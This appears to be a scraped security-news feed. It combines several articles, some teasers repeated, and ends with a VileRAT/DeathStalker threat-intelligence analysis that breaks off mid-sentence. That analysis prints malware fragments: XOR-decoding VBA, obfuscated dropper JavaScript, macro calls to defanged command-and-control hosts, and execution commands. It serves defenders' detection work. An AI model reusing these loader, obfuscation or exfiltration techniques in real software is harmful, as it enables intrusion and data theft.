How to Clear Security Obstacles and Achieve Cloud Nirvana

Back-end complexity of cloud computing means there’s plenty of potential for security problems. Here’s how to get a better handle on SaaS application security.Back-end complexity of cloud computing means there’s plenty of potential for security problems. Here’s how to get a better handle on SaaS application security.Read More

New Cross-Industry Group Launches Open Cybersecurity Framework

18 companies led by Amazon and Splunk announced the OCSF framework, to provide a standard way for sharing threat detection telemetry among different monitoring tools and applications.18 companies led by Amazon and Splunk announced the OCSF framework, to provide a standard way for sharing threat detection telemetry among different monitoring tools and applications.Read More

device42 9FoYaz

Critical Flaws Disclosed in Device42 IT Asset Management Software

Cybersecurity researchers have disclosed multiple severe security vulnerabilities asset management platform Device42 that, if successfully exploited, could enable a malicious actor to seize control of affected systems.
“By exploiting these issues, an attacker could impersonate other users, obtain admin-level access in the application (by leaking session with an LFI) or obtain full access to theCybersecurity researchers have disclosed multiple severe security vulnerabilities asset management platform Device42 that, if successfully exploited, could enable a malicious actor to seize control of affected systems.
“By exploiting these issues, an attacker could impersonate other users, obtain admin-level access in the application (by leaking session with an LFI) or obtain full access to theRead More

Education hammered by exploits and backdoors in 2021 and 2022

In May of 2021, education underwent a siege of exploit attempts using the vulnerability CVE-2021-21551, which exploits a Dell system driver bug and helps attackers to gain access to a network. Considering that many schools across the United States use Dell hardware, it’s understandable to see such a large amount of this exploit. 

In fact, both Rockland Schools in Massachusetts and Visalia USD in California were hit with ransomware attacks during this period. The states that detected this threat the most were Minnesota and Michigan, with Detroit being the biggest target in the US. 

In September of 2021, there was a spike of the malicious setting, RiskwareTool.IFEOHijack, with detections having increased from July 2021 onward. This threat is flagged when malware modifies a registry setting that changes the default Windows debugger to a malware executable. It is a red flag that needs to be investigated immediately. Unfortunately, it doesn’t pinpoint which malware made the modification, but the increased presence of this threat, especially in Oklahoma and Washington State, calls for deeper threat hunting on the victims’ networks. During the same period, a spike in exploit detections was observed and Howard University was breached.

The Trojan TechSupportScam covers an array of applications all designed to fool users into calling a “tech support” number to solve a problem created by the application, such as a blue screen, error message, activation alert, etc. These tools started spiking in January of 2022.  Educational institutions in New Jersey have had to deal with this threat more than any other state, however the public school district of Albuquerque, NM suffered a breach during the same month that could have been influenced by this spike in scams. Students and staff likely encountered these threats when installing risky software and/or visiting shady sites.

Finally, Pennsylvania schools have been dealing with an active campaign of backdoors, specifically QBot, since March of 2022, which will likely result in greater infections during the rest of 2022.

Beyond spikes in detections, the education sector has dealt with an onslaught of attacks ranging from spyware and denial of service tools to ransomware.  Throughout the year, almost every month has a report of an educational institution under attack. The first half of 2021 saw attacks against schools in Florida, New York, Oregon, Massachusetts, and California, while the second half saw attacks against Texas, Washington D.C., Wisconsin, and Illinois. The biggest attack of 2022, so far, would be the breach of Austin Peay State University in April, though time will tell if that remains true.

The education industry has the largest userbase out of all industries, considering the constant rotation of students and faculty. Therefore, the greatest threat to these organizations are the users themselves, who may download their own applications, visit dangerous websites, and even make system modifications to get around monitoring tools.

Recommendations for education

Our recommendation for this sector includes keeping an eye out for all new exploits that might affect your organization, especially commonly used systems. In a lot of cases, organizations may have a difficult time updating quickly, because of operational needs, but in the case of schools, a single vulnerability might be duplicated across 99% of its endpoints, which turns each of those systems into backdoors for the bad guys. So, making vulnerability patching one of the highest priorities will reduce attacks and decrease malicious file installation.

Next, systems that have been infected may leave behind artifacts of its operations, for example the IFEOHijack registry setting. Additionally, threats that may be installed on day one, might not activate until a user does something specific, or a certain date comes around, allowing the threat to hide in the meantime. To combat this threat, consider creating a secure, default system image that can be easily duplicated to endpoints, returning them to a default state. While this is likely already done by many schools every year, consider increasing the frequency to every quarter, maybe even every month, and have students save their files on cloud-based storage solutions.

By utilizing a default image, an organization can erase hidden malware, reset modified settings, and provide confidence in quickly isolating or wiping out an infected system. For the education industry, it’s not so much about what threats are actively targeting schools, but rather what threats have been left behind, that open doors for other, future attacks.

How to incorporate ACM PCA into your existing Windows Active Directory Certificate Services

Using certificates to authenticate and encrypt data is vital to any enterprise security. For example, companies rely on certificates to provide TLS encryption for web applications so that client data is protected. However, not all certificates need to be issued from a publicly trusted certificate authority (CA). A privately trusted CA can be leveraged to issue certificates to help protect data in transit on resources such as load-balancers and also device authentication for endpoints and IoT devices. Many organizations already have that privately trusted CA running in their Microsoft Active Directory architecture via Active Directory Certificate Services (ADCS).

This post outlines how you can use Microsoft’s Windows 2019 ADCS to sign an AWS Certificate Manager (ACM) Private Certificate Authority (Private CA) instance, extending your existing ADCS system into your AWS environment. This will allow you to issue certificates via ACM for resources like Application Load Balancer that are trusted by your Active Directory members. The ACM PCA documentation talks about how to use an external CA to sign the ACM PCA certificate. However, it leaves the details of the external CA outside of the documentation scope.

Why use ACM PCA?

AWS Certificate Manager Private Certificate Authority (ACM Private CA or ACM PCA) is a private CA service that extends ACM certificate management capabilities to both public and private certificates. ACM PCA provides a highly available private CA service without the upfront investment and ongoing maintenance costs of operating your own private CA. ACM PCA allows developers to be more agile by providing them with APIs to create and deploy private certificates programmatically. You also have the flexibility to create private certificates for applications that require custom certificate lifetimes or resource names.

Why use ACM PCA with Windows Active Directory?

Many enterprises already use Active Directory to manage their IT resources. Whether it is on-premises or built into your AWS accounts, Active Directory’s built-in CA can be extended by ACM PCA. Using your ADCS to sign an ACM PCA means that members of your Active Directory automatically trust certificates issued by that ACM PCA. Keep in mind that these are still private certificates, and they are intended to be used just like certificates from ADCS itself. They will not be trusted by unmanaged devices, because these are not signed by a publicly trusted external CA. Therefore, systems like Mac and Linux may require that you manually deploy the ADCS certificate chain in order to trust certificates issued by your new ACM PCA.

This means it is more efficient for you to rapidly deploy certificates to your endpoint workstations for authentication. Or you can protect internal-only workloads with certificates that are constrained to your internal domain namespace. These tasks can be done conveniently through AWS APIs and the AWS SDK.

Solution overview

In the following sections, we will configure Microsoft ADCS to be able to sign a subordinate CA, deploy and sign ACM PCA, and then test the solution using a private website that is protected by a TLS certificate issued from the ACM PCA.

Configure Microsoft ADCS

Microsoft ADCS is normally deployed as part of your Windows Active Directory architecture. It can be extended to do multiple different types of certificate signing depending on your environment’s needs. Each of these different types of certificates is defined by a template that you must enable and configure. Each template contains configuration information about how Microsoft ADCS will issue the certificate type. You can copy and configure templates differently depending on your environment’s requirements. The specifics of each type of template is outside the scope of this blog post.

To configure ADCS to sign subordinate CAs

On the CA server that will be signing the private CA certificate, open the Certification Authority Microsoft Management Console (MMC).
In the left-side tree view, expand the name of the server.
Open the context (right-click) menu for Certificate Templates and choose Manage.

Figure 1: Navigating to the Manage option for the certificate templates

This opens the Certificate Template Console, which is populated with the list of optional templates.

Scroll down, open the context (right-click) menu for Subordinate Certification Authority, and choose Duplicate Template, as shown in Figure 2. This will create a duplicate of the template that you can alter for your needs, while leaving the original template unaltered for future use. Selecting Duplicate Template immediately opens the configuration for the new template.

Figure 2: Select Duplicate Template to create a copy of the Subordinate Certification Authority template

To configure and use the new template

On the new template configuration page, choose the General tab, and change the template display name to something that uniquely identifies it. The example in this post uses the name Subordinate Certification Authority – Private CA.
Select the check box for Publish certificate in Active Directory, and then choose OK. The new template appears in the list of available templates. Close the Certificate Templates Console.
Return to the Certification Authority MMC. Open the context (right-click) menu for Certificate Templates again, but this time choose New -> Certificate Template to Issue.

Figure 3: Issue the new Certificate Template you created for subordinate Cas

In the dialog box that appears, choose the new template you created in Step 1 of this procedure, and then choose OK.

That’s all that’s needed! Your CA is now ready to issue certificates for subordinate CAs in your public key infrastructure. Open a browser from either the ADCS CA server itself or through a network connection to the ADCS CA server, and use the following URL to access the certificate server’s certificate signing interface.


Now you can see that in the Certificate Templates list, you can choose the Subordinate Certification Authority template that you created, as shown in Figure 4.

Figure 4: The interface to sign certificates on your CA now shows the new certificate template you created

Deploy and sign the ACM Private CA’s certificate

In this step, you will deploy the ACM PCA, which is the first step to create a subordinate CA to deploy in your AWS account. The process of deploying the ACM PCA is well documented, so this post will not go into depth about the deployment itself. Instead, this procedure focuses on the steps for taking the certificate signing request (CSR) and signing it against the ADCS, and then covers the additional steps to convert the certificates that ADCS produces into the certificate format that ACM PCA expects.

After the ACM PCA is initially deployed, it needs to have a certificate signed to authenticate it. ACM PCA offers two options for signing the new instance’s certificate. You can choose to sign either through another ACM PCA instance, or via an external CA. Since you are using ADCS in this walkthrough, you will use the process of an external CA. The ACM PCA deployment is now at a point where it needs its CSR signed by Microsoft ADCS. You should see that it is ready in the AWS Management Console for ACM PCA.

To deploy and sign the ACM PCA’s certificate

When the ACM PCA is ready, in the ACM PCA console, begin the Install subordinate CA certificate process by choosing External private CA for the CA type.

Figure 5: Options for signing the new instance’s certificate

You will then be provided the certificate signing request (CSR) for the ACM PCA. Copy and paste the CSR content into the ADCS CA signing URL you visited earlier on the CA server. Then choose Next. The next page is where you will paste in the new signed certificate and certchain in a later step.
From the ADCS CA URL, be sure that the new Subordinate Certification Authority template is selected, and then choose Submit. The new certificate will be issued to you. The ADCS issuing page provides two different formats for the certificate, either as Distinguished Encoding Rules (DER) or base64-encoded.
Copy the base64-encoded files for both the certificate and the certchain to your local computer. The certificate is already in Privacy Enhanced Mail (PEM) format, and its contents can be pasted into the ACM PCA certificate input in the console. However, you must convert the certchain into the format required by the ACM PCA by following these steps:
To convert the format of the certchain, use the openssl tool from the command line. The process of installing the openssl tool is outside the scope of this blog post. Refer to the OpenSSL site documentation for installation options for your operating system.
Use the following command to convert the certchain file from Public Key Cryptographic Standards #7 (PKCS7) to PEM.

openssl pkcs7 -print_certs -in certnew.p7b -out certchain.pem

Using a text editor, open the certchain.pem file and copy the last certificate block from the file, starting with —–BEGIN CERTIFICATE—– and ending with —–END CERTIFICATE—–. You will notice that the file begins with the signed certificate and includes subject= and issuer= statements. ACM PCA only accepts the content that is the certificate chain.

Return to the ACM PCA console page from Step 1, and paste the text the you just copied into the input area provided for the certificate chain. After this step is complete, the private CA is now signed by your corporate PKI.

Test the solution

Now that the ACM PCA is online, one of the things it can do is issue certificates via ACM that are trusted by your corporate Active Directory joined clients. These certificates can be used in services such as Application Load Balancers to provide TLS protected endpoints that are unique to your organization and trusted only by your internal clients.

From a client joined to our test Active Directory, Internet Explorer shows that it trusts the TLS certificate issued by AWS Certificate Manager and used on the Application Load Balancer for a private site.

Figure 6: Internet Explorer showing that it trusts the TLS certificate

For this demo, we created a test web server that is hosting an example webpage. The web server is behind an AWS Application Load Balancer. The TLS certificate attached to the Application Load Balancer is issued from the new ACM PCA.


Organizations that have Microsoft Active Directory deployed can use Active Directory’s Certificate Services to issue certificates for private resources. This blog post shows how you can extend that certificate trust to AWS Certificate Manager Private CA. This provides a way for your developers to issue private certificates automatically, which are trusted by your Active Directory domain-joined clients or clients that have the ADCS certificate chain installed.

For more information on hybrid public key infrastructure (PKI) on AWS, refer to these blog posts:

How to implement a hybrid PKI solution on AWS
Integrating Microsoft Active Directory with AWS Certificate Manager Private CA using Secardeo certEP

For more information on certificates for Mac and Linux, refer to the following resources:

Add certificates to a keychain using Keychain Access on Mac
Ubuntu – Installing a root CA certificate in the trust store
RedHat – Making CA certificates available to Linux command-line tools

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Want more AWS Security news? Follow us on Twitter.

Geoff Sweet

Geoff has been in industry for over 20 years, and began his career in Electrical Engineering. Starting in IT during the dot-com boom, he has held a variety of diverse roles, such as systems architect, network architect, and, for the past several years, security architect. Geoff specializes in infrastructure security.

Using certificates to authenticate and encrypt data is vital to any enterprise security. For example, companies rely on certificates to provide TLS encryption for web applications so that client data is protected. However, not all certificates need to be issued from a publicly trusted certificate authority (CA). A privately trusted CA can be leveraged toRead More

The Security Pros and Cons of Using Email Aliases

One way to tame your email inbox is to get in the habit of using unique email aliases when signing up for new accounts online. Adding a “+” character after the username portion of your email address — followed by a notation specific to the site you’re signing up at — lets you create an infinite number of unique email addresses tied to the same account. Aliases can help users detect breaches and fight spam. But not all websites allow aliases, and they can complicate account recovery. Here’s a look at the pros and cons of adopting a unique alias for each website.

What is an email alias? When you sign up at a site that requires an email address, think of a word or phrase that represents that site for you, and then add that prefaced by a “+” sign just to the left of the “@” sign in your email address. For instance, if I were signing up at example.com, I might give my email address as krebsonsecurity+example@gmail.com. Then, I simply go back to my inbox and create a corresponding folder called “Example,” along with a new filter that sends any email addressed to that alias to the Example folder.

Importantly, you don’t ever use this alias anywhere else. That way, if anyone other than example.com starts sending email to it, it is reasonable to assume that example.com either shared your address with others or that it got hacked and relieved of that information. Indeed, security-minded readers have often alerted KrebsOnSecurity about spam to specific aliases that suggested a breach at some website, and usually they were right, even if the company that got hacked didn’t realize it at the time.

Alex Holden, founder of the Milwaukee-based cybersecurity consultancy Hold Security, said many threat actors will scrub their distribution lists of any aliases because there is a perception that these users are more security- and privacy-focused than normal users, and are thus more likely to report spam to their aliased addresses.

Holden said freshly-hacked databases also are often scrubbed of aliases before being sold in the underground, meaning the hackers will simply remove the aliased portion of the email address.

“I can tell you that certain threat groups have rules on ‘+*@’ email address deletion,” Holden said. “We just got the largest credentials cache ever — 1 billion new credentials to us — and most of that data is altered, with aliases removed. Modifying credential data for some threat groups is normal. They spend time trying to understand the database structure and removing any red flags.”

Why might spamming aliases be a bad idea? According to the breach tracking site HaveIBeenPwned.com, only about .03 percent of the breached records in circulation today include an alias.

Email aliases are rare enough that seeing just a few email addresses with the same alias in a breached database can make it trivial to identify which company likely got hacked and leaked said database. That’s because the most common aliases are simply the name of the website where the signup takes place, or some abbreviation or shorthand for it.

Hence, for a given database, if there are more than a handful of email addresses that have the same alias, the chances are good that whatever company or website corresponds to that alias has been hacked.

That might explain the actions of Allekabels, a large Dutch electronics web shop that suffered a data breach in 2021. Allekabels said a former employee had stolen data on 5,000 customers, and that those customers were then informed about the data breach by Allekabels.

But Dutch publication RTL Nieuws said it obtained a copy of the Allekabels user database from a hacker who was selling information on 3.6 million customers at the time, and found that the 5,000 number cited by the retailer corresponded to the number of customers who’d signed up using an alias. In essence, RTL argued, the company had notified only those most likely to notice and complain that their aliased addresses were suddenly receiving spam.

“RTL Nieuws has called more than thirty people from the database to check the leaked data,” the publication explained. “The customers with such a unique email address have all received a message from Allekabels that their data has been leaked – according to Allekabels they all happened to be among the 5000 data that this ex-employee had stolen.”

HaveIBeenPwned’s Hunt arrived at the conclusion that aliases account for about .03 percent of registered email addresses by studying the data leaked in the 2013 breach at Adobe, which affected at least 38 million users. Allekabels’s ratio of aliased users was considerably higher than Adobe’s — .14 percent — but then again European Internet users tend to be more privacy-conscious.

While overall adoption of email aliases is still quite low, that may be changing. Apple customers who use iCloud to sign up for new accounts online automatically are prompted to use Apple’s Hide My Email feature, which creates the account using a unique email address that automatically forwards to a personal inbox.

What are the downsides to using email aliases, apart from the hassle of setting them up? The biggest downer is that many sites won’t let you use a “+” sign in your email address, even though this functionality is clearly spelled out in the email standard.

Also, if you use aliases, it helps to have a reliable mnemonic to remember the alias used for each account (this is a non-issue if you create a new folder or rule for each alias). That’s because knowing the email address for an account is generally a prerequisite for resetting the account’s password, and if you can’t remember the alias you added way back when you signed up, you may have limited options for recovering access to that account if you at some point forget your password.

What about you, Dear Reader? Do you rely on email aliases? If so, have they been useful? Did I neglect to mention any pros or cons? Feel free to sound off in the comments below.

One way to tame your email inbox is to get in the habit of using unique email aliases when signing up for new accounts online. Adding a “+” character after the username portion of your email address — followed by a notation specific to the site you’re signing up at — lets you create an infinite number of unique email addresses tied to the same account. Aliases can help users detect breaches and fight spam. But not all websites allow aliases, and they can complicate account recovery. Here’s a look at the pros and cons of adopting a unique alias for each website.Read More

VileRAT: DeathStalker’s continuous strike at foreign and cryptocurrency exchanges

In late August 2020, we published an overview of DeathStalker’s profile and malicious activities, including their Janicab, Evilnum and PowerSing campaigns (PowerPepper was later documented in 2020). Notably, we exposed why we believe the threat actor may fit a group of mercenaries, offering hack-for-hire services, or acting as an information broker to support competitive and financial intelligence efforts.

Meanwhile, in August 2020, we also released a private report on VileRAT to our threat intelligence customers for the first time. VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies. We discovered it in Q2 2020 as part of an update of the Evilnum modus operandi, and attributed it to DeathStalker. Malicious activities that we associate with DeathStalker’s VileRAT track have been publicly and partly documented since, without any attribution or under different monikers (Evilnum, PyVil), starting in September 2020, through 2021 and more recently in June 2022.

DeathStalker has indeed continuously leveraged and updated its VileRAT toolchain against the same type of targets since we first identified it in June 2020. While we comprehensively documented the evolution to our threat intelligence customers recently, and despite existing public indicators of compromise, we regret to note that the campaign is not only ongoing at the time of writing, but also that DeathStalker likely increased its efforts to compromise targets using this toolchain recently. We have indeed been able to identify more samples of VileRAT-associated malicious files and new infrastructure since March 2022, which may be a symptom of an increase in compromise attempts. We deemed it may be helpful to publicly expose some of our knowledge about VileRAT, to help potential targets better detect and stop such malicious activities.

VileRAT’s initial infection and toolset overview

Back in the summer of 2020, DeathStalker’s VileRAT initial infection consisted in spear-phishing emails sent to foreign exchange companies, from fake personas (a fake diamonds trading company for instance) who shared investment interests. Should the target reply and continue with the conversation, the fake persona would at some point and upon request provide a link to a malicious file hosted on Google Drive (a Windows shortcut file masquerading as a PDF or in a ZIP archive), as identification documents. The malicious link would then trigger the execution of arbitrary system commands, to drop a harmless decoy document, as well as a malicious and quite sophisticated binary loader that we dubbed VileLoader.

More recently, since at least late 2021, the infection technique has changed slightly, but the initial infection vector is still a malicious message: a Word document (DOCX, see Figure 1) is sent to targets via email (either as an attachment or embedded in the email body whenever possible). In July 2022, we also noticed that the attackers leveraged chatbots that are embedded in targeted companies’ public websites to send malicious DOCX to their targets.

Figure 1. Malicious DOCX social engineering message

The DOCX documents are frequently named using the “compliance” or “complaint” keywords (as well as the name of the targeted company), suggesting the attacker is answering an identification request or expressing an issue as a reason to send them.

The initial infection and toolset deployment, as we observed them starting in at least late 2021, are schematized below (see Figure 2).

Figure 2. VileRAT infection and toolset overview

A bit of stomping and concealment up to VileDropper

The initial DOCX infection document itself is innocuous, but it contains a link to another malicious and macro-enabled DOTM document as a “remote template” (see Figure 3). These DOTM files are automatically downloaded by Word when the DOCX is opened, and its embedded macro is triggered if the recipient enabled execution (as requested by the social engineering message, see Figure 1).

<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
<Relationships xmlns=”http://schemas.openxmlformats.org/package/2006/relationships”>
<Relationship Id=”rId1″ Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate” Target=”hxxp://plantgrn[.]com/HjSYaquyA5umRSZcy%2B0xLfaIdgf5Qq8BA6EggZELrzkAAADvNjKmxl00LiQYCUFp2DSHYB8NW18l94y4JmYJq84iAcUK4DiouvcYORosLa5BzVcmWShg6Y6sjwg%3D” TargetMode=”External”/>

Figure 3. Malicious remote template inclusion in infection DOCX

The malicious DOTM remote templates leverage the VBA stomping technique to conceal the code of an embedded macro. VBA stomping involves making the editable VBA source code (i.e., the visible code of a macro) different from the code that will actually be executed. This is possible because both the editable (visible) source code and a transformed internal version of it called p-code are embedded in macro-enabled documents. As a result of VBA stomping, the real macro code that will be executed is hidden from standard tools (Microsoft Word’s macro edition tools, but also OLETools).

This technique comes with a drastic limitation: the hidden macro (i.e., internal p-code) can only be executed if the macro-enabled document is opened with the same Office version from which it was generated. Otherwise, the hidden macro cannot run, and the visible one will be executed instead. In this last case, DeathStalker ensured it would result in a popup message to the user (see Figure 4). But most of all, DeathStalker ensured that it distributed several variants of infection documents to their targets, each one being prepared for a specific Office version.

Figure 4. VBA stomping failure in a malicious DOTM remote template

In any case, the visible and hidden macros download a picture to replace the social engineering message in the infection document (see Figure 5) and trick the readers into believing something failed.

Figure 5. Example of a downloaded image upon macro execution

In the background, however, provided the VBA stomping worked, the DOTM-embedded macro silently gathers information about security products that are installed on the target computer (using WMI), sends them to a command-and-control (C2) server, decodes and drops files, then ultimately executes a malicious obfuscated JavaScript (JS) backdoor we called VileDropper.

The DOTM-embedded macro itself already reveals some interesting and specific techniques. It is lightly obfuscated, as most text strings are XOR-encoded (see Figure 6) with a password that is derived from a sentence (e.g., “Operates Catholic small towns pueblos Two of“).

Function decodestring(dt As String) As String
On Error Resume Next
Dim ks As String
ks = decodepassword
Dim dl As Long
dl = ((Len(dt) / 2) – 1)
kl = Len(ks)
Dim s As String
s = “”
For i = 0 To dl
Dim c1 As Integer
Dim c2 As Integer
c1 = Val(“&H” & Mid(dt, ((i * 2) + 1), 2))
c2 = Asc(Mid(ks, (i Mod kl) + 1, 1))
s = s & Chr(c1 Xor c2)
decodestring = s
End Function

Figure 6. XOR decoding function (renamed for clarity) in DOTM-embedded macro

The XOR decoding algorithm looks very close to the one that has been leveraged in VBS loader scripts from the PowerPepper toolchain (see Figure 7) in the past, and seemingly legitimate function names are also reminiscent of those that were used by PowerPepper macros (e.g., “insert_table_of_figures”, “change_highlight_color”, etc.).

Function DelPort(GeneralText)
Dim Argv : Argv = WScript.Arguments(0)
GeneralText = Replace(GeneralText, “44f”,”44″)
Dim z, i, cvpo, vpcol, sdfiko, gfdvvc, sdfopk
For i = 1 To Len(GeneralText)
cvpo = cvpo + 1
If cvpo > Len(Argv) Then cvpo = 1
gfdvvc = Asc(Mid(Argv, cvpo, 1))
If i > Len(GeneralText) 2 Then Exit For
vpcol = CByte(“&H” & Mid(GeneralText, i * 2 – 1, 2))
sdfiko = vpcol Xor gfdvvc
z = z & Chr(sdfiko)
DelPort = z
End Function

Figure 7. XOR decoding function in a PowerPepper VBS loader (MD5 DB6D1F6AB887383782E4E3D6E4AACDD0)

The DOTM-embedded macro decodes and drops two files (in the “%APPDATA%” folder: “Redist.txt” and “ThirdPartyNotice.txt”, or “pattern.txt” and “changelog.txt”) out of encoded data that is stored in non-visible TextBox forms (see Figure 8). Leveraging Office object properties as hidden data sources is also something we have previously seen with PowerPepper.

Figure 8. TextBox form used as a data store within malicious DOTM documents, as shown by Microsoft’s VBA editor

Another notable feature is that the DOTM-embedded macro signals progression or errors during the execution by sending HTTP GET requests to fixed C2 URLs. Interestingly, all HTTP requests in the VBA macro are triggered using remote picture insertion functions (see Figure 9).

doc.Shapes.AddPicture (decodestring(“09184015545D5B1B1B07501E001F5C4B0D1D5B3B2D3647143422115728383E1D3E2A024B06025B…0F1C02301C4B57743F190273173713384258545B46582D5C242F3335565C234123543853115838183D21156116500F5C210A2717462327073A362E765C370347362B267F1035230C1036”))
‘ hxxp://hubflash[.]co/HCSqfUN%2FJJnPO49gnojrpDo%2BMxnGrYaL161m49AhAAAA%2FwQ5Tgt6JlNO

Figure 9. DOTM-embedded macro leverages “AddPicture” as a Web client

In any case, the DOTM-embedded macro finally triggers VileDropper’s execution, using a renamed copy of the “WScript” interpreter (“msdcat.exe” or “msgmft.exe” in the “%APPDATA%” folder), with a command such as:

msgmft.exe /E:jScrIpt “changelog.txt” 91 pattern.txt

“changelog.txt” is VileDropper, while “91” is part of password used by VileDropper to decode XORed data, and “pattern.txt” is an encoded package that contains VileLoader.

VileDropper: an overly obfuscated task scheduler

Next in DeathStalker’s intricate VileRAT infection chain comes VileDropper. It is an obfuscated JavaScript file that mainly drops and schedules the execution of the next stage: VileLoader.

var _0x140c9e;//ACCS3
_0x36bbe9: {//ACCS3
try {//ACCS3
var _0x527036 = _0x112a30 + ‘x5c’ + WScript[_0x1dbcbb(0x38c)](0x1),//ACCS3
_0x33ee6e = _0x3b3918[_0x4462ad[_0x1dbcbb(0x312)](_0x4459df, _0x4462ad[_0x1dbcbb(0x23d)])](_0x527036, 0x1),//ACCS3
_0x46efdf = _0x33ee6e[_0x4459df(_0x1dbcbb(0x1e7) + _0x1dbcbb(0x29c))]();//ACCS3
_0x33ee6e[_0x1dbcbb(0x37a)](), _0x3b3918[_0x1dbcbb(0x38f)](_0x527036), _0x527036 = ”;//ACCS3
for (_0x33ee6e = 0x0; _0x33ee6e < _0x46efdf[_0x1dbcbb(0x2fa)] – 0x2; _0x33ee6e += 0x2)//ACCS3
_0x527036 += String[_0x1dbcbb(0x259) + ‘de’](parseInt(_0x46efdf[_0x1dbcbb(0x2f4)](_0x33ee6e, _0x33ee6e + 0x2), 0x10));//ACCS3
_0x140c9e = _0x527036;//ACCS3
break _0x36bbe9;//ACCS3
} catch (_0x48c9c6) {}//ACCS3
_0x140c9e = void 0x0;//ACCS3

Figure 10. VileDropper code excerpt in its original form

VileDropper needs at least two arguments to run for the first time (a third may be used as a flag to trigger environment-specific execution variations, depending on security products that are installed on targeted computers):

the first one is a partial password (used to decode XOR-encoded data),
the second is a path to an encoded payload file (contains VileLoader and its companion shellcode).

VileDropper also checks its interpreter and file name, to immediately stop execution if it is not called as planned (this is probably done to evade sandboxes), as can be seen in the following deobfuscated code excerpt:

if (aWShell1[“CurrentDirectory”][“toLowerCase”]() != aAppDataPath1[“toLowerCase”]()) {
if (!sArgThird1) {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“msdcat”)) {
} else {
if (-0x1 == aScriptHostFullpath1[“indexOf”](“cscript”)) {

Figure 11. Deobfuscated execution check in VileDropper

VileDropper’s exact execution flow depends on the security products that are installed on the targeted computer, but most of the time, it copies itself to another file, relaunches itself, and deletes its original copy. During execution VileDropper:

gathers additional data on the targeted environment (using WMI) as well as generating a target identifier and sends them to a C2 server;
decodes and drops VileLoader and its encoded companion shellcode. The file names and location will vary depending on samples, but they are placed under a seemingly legitimate common folder in “%APPDATA%” (e.g., “exe” and “dev0Y11ZF.tmp” in “%APPDATA%MicrosoftPrinter SettingsPrinters”);
schedules a task to run VileLoader 35 to 65 seconds later, then indefinitely every three hours and 45 minutes.

VileDropper sends data to a C2 server using an HTTP GET request to a fixed URL (e.g., “hxxp://hubflash[.]co/admin/auth.php”), using a preset User-Agent (both the C2 URL and the User-Agent change depending on VileDropper samples). The useful information is stored as a JSON document, which is then XOR-encoded, base64-encoded, URL-encoded, and set as a cookie value in the HTTP request:

Content (JSON value)
A target identifier. The identifier is a custom UUID-like representation of the target’s login (%USERNAME% environment variable) and computer UUID (as obtained in the first result of the WMI query: SELECT UUID FROM Win32_ComputerSystemProduct). This UUID-like value is then base64-encoded and URL-encoded. Due to fixed lengths and padding from the identifier generation logic, the identifier’s final form is always 48 characters long.
A hard-coded VileDropper identifier, which might designate a campaign or version (e.g., “9745B355”).
A list of the names of the security products (AntiVirusProduct in WMI) that are installed on the target computer, separated by the pipe sign (|), then XORed, base64-encoded and URL-encoded.
The target’s fully qualified login, as the shell expansion of “%USERDOMAIN%%USERNAME%”, which is then XORed, base64-encoded and URL-encoded.
The target’s operating system version, as returned from the WMI query SELECT Version FROM Win32_OperatingSystem, then base64-encoded and URL-encoded.

The task that is scheduled by VileDropper (whose name varies depending on samples, e.g., “CDS Sync” or “UpdateModel Task”), triggers the following type of execution command:

%APPDATA%MicrosoftPrinter SettingsPrintersFWDeviceEnabler.exe “[u]” “<encoded companion shellcode file name>” “[a]” “[w]” 0 “[d]” “[n]” <a letter of the encoded companion shellcode file name>

The characters between square brackets (such as [u]) in the command line designate the content of the corresponding JSON key (i.e., [u] is the encoded target identifier).

A XORing interlude

Before moving on to VileLoader, a note on the XOR encoding scheme that is leveraged by VileDropper to protect data sent to the C2 server, as similar schemes will be used further on. The algorithm generates data blobs that are laid out as follows (then sometimes further base64-encoded and URL-encoded):

Type A:

[XOR key (6 random bytes)][XOR-encoded data]

The resulting blobs are self-sufficient and can be decoded by the recipient (as well as any third party…) without any access to the pre-shared key. In VileDropper, strings that are encoded as part of the JavaScript obfuscation benefit from an additional XORing step: the XOR key that is embedded in data blobs is additionally XORed with a script-specific fixed password (a part of this fixed password is passed to VileDropper on its execution command line by the previous DOTM macro in the infection chain, the other part is hard-coded in VileDropper itself).

Later, VileLoader and VileRAT use other variants of this algorithm, which produces data blobs that are laid out as one of the following options:

Type B:

[XOR key length (variable)][XOR key (random bytes)][Padding][XOR-encoded data]

Type C:

[XOR-encoded data length][XOR-encoded data][XOR key length (variable)][XOR key (random bytes)]

Type D:

[XOR key length (variable)][XOR key (random bytes)][XOR-encoded data length][XOR-encoded data]

VileLoader: an evasive multi-stage implant downloader

VileLoader is a remarkable piece of the VileRAT compromise approach. While it has existed since Q2 2020 (it was first publicly documented as dddp.exe), it has been continuously updated and maintained since, and is still deployed from VileDropper at the time of writing. VileLoader’s main goal is to download and execute an additional payload from a C2 server. Though we have only observed it triggering the execution of VileRAT, the loader can technically download and execute other implants.

Recent VileLoader samples are composed of a binary executable (stage 1) and an encoded companion shellcode file (stage 2). Previous samples of VileLoader usually embedded the shellcode within the binary executable directly, and presented themselves as a single monolithic file.

Stage 1 – Doctored binary unpacker

VileLoader is initially presented as a binary executable, which ensures the first stage of the execution. This binary is always a legitimate one, which is meticulously doctored by the attackers to integrate a malicious unpacker-type payload. As such, the binary may appear legitimate from a quick automated static code analysis perspective: it includes all the code of a legitimate application (but will not work as expected). This “unpacker” stage is aimed at decoding, loading, and executing the second stage in memory.

VileLoader’s workflow starts by waiting 17 seconds. Then it parses the command line arguments. The command line must include five arguments at least, or VileLoader terminates the execution. In practice, VileDropper usually gives seven arguments to VileLoader, as we have previously described. VileLoader then opens its encoded companion shellcode file (whose name is passed as a second argument to VileLoader, e.g., “devENX1C6SS.tmp”), reads and decodes it (using the Type B XOR algorithm), maps the deobfuscated data in a region with read, write and execute (RWX) permissions, and runs the next stage (stage 2) by starting a new thread.

VileLoader’s first stage contains very unique “signature” techniques that have been stable since the first sample we analyzed in Q2 2020:

“Sleep” and “GetTickCount” Windows API functions are leveraged to generate random waiting delays. Those functions are resolved in an unusual way: by referencing hard-coded offsets from the beginning of the current binary image that point directly to entries in the legitimate executable’s import address table (IAT);
